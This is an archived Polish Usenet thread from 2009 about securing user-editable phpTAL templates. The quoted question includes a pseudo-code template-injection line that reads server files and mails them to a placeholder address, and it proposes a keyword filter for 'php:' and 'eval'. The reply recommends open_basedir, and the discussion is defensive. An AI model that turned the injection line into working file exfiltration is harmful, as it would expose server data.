Article View: pl.comp.lang.php
Article #220051Re: Detekcja proxy
From: bofh
Date: Mon, 10 Aug 2009 14:45
Date: Mon, 10 Aug 2009 14:45
31 lines
1994 bytes
1994 bytes
Koteczek wrote:
> nie w temacie ale Ty jestes guru od phpTAL.
>
> Jesli jednak chcialbym aby end-user mogl edytowac szablony phptal,
> trzymane w bazie danych na przyklad, to co musze oczyscic by zachowac
> bezpieczenstwo?
>
> Chodzi mi o przypadek gdy ktos uzywajac instrukcji php: w ramach
> szablonu phpTAL np odczyta wszystkie inne pliki na serwerze i je sobie
> wysle.
>
> Cos ala (pseudo kod)
>
> <a tal:condition="php: mail('adres@serwer.pl', filegetcontent(jakis
> plik))" />
>
> Chce sie przed tym uchronic ale nadal uzywac phpTAL.
>
> Czy wystarczy ze zanim zrobie $user_template->execute() to oczyszcze kod
> html ze wszystkich wystapien "php:" i "eval", "tal:" zamieniajac je na '' ?
>
> W normalnym tekscie nikt nie powinien uzyc php: ani eval ani tal: ,
> usuwac te znaczniki przed wykonanien szablonu bedzie zapewnialo mi
> bezpieczenstwo czy nie?
>
Od złej strony podchodzisz. Serwer powinien uniemożliwiać czytanie
plików z katalogów inne niż wyznaczone. Poszukaj o open_base_dir.
Zabezpieczenia w kodzie php to już musztarda po obiedzie.
wer
Technical Details
Message-ID:
<h5p1b0$u1d$1@node1.news.atman.pl>Path:
mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!news.rmf.pl!agh.edu.pl!news.agh.edu.pl!news.onet.pl!news.nask.pl!news.nask.org.pl!newsfeed.atman.pl!not-for-mailReferences:
<h5i4io$kqe$1@achot.icm.edu.pl> <op.uyba53nputk0y1@aimac.local> <h5pavs$4f3$1@nemesis.news.neostrada.pl>Show Full Headers
Complete Article Headers
Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!news.rmf.pl!agh.edu.pl!news.agh.edu.pl!news.onet.pl!news.nask.pl!news.nask.org.pl!newsfeed.atman.pl!not-for-mail From: "bofh@nano.pl" <bofh@nano.pl> Newsgroups: pl.comp.lang.php Subject: Re: Detekcja proxy Date: Mon, 10 Aug 2009 16:45:20 +0200 Organization: ATMAN Lines: 31 Message-ID: <h5p1b0$u1d$1@node1.news.atman.pl> References: <h5i4io$kqe$1@achot.icm.edu.pl> <op.uyba53nputk0y1@aimac.local> <h5pavs$4f3$1@nemesis.news.neostrada.pl> NNTP-Posting-Host: 195.78.66.5 Mime-Version: 1.0 X-Trace: node1.news.atman.pl 1249904800 30765 195.78.66.5 (10 Aug 2009 11:46:40 GMT) X-Complaints-To: usenet@atman.pl NNTP-Posting-Date: Mon, 10 Aug 2009 11:46:40 +0000 (UTC) User-Agent: Thunderbird 2.0.0.22 (X11/20090625) In-Reply-To: <h5pavs$4f3$1@nemesis.news.neostrada.pl> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit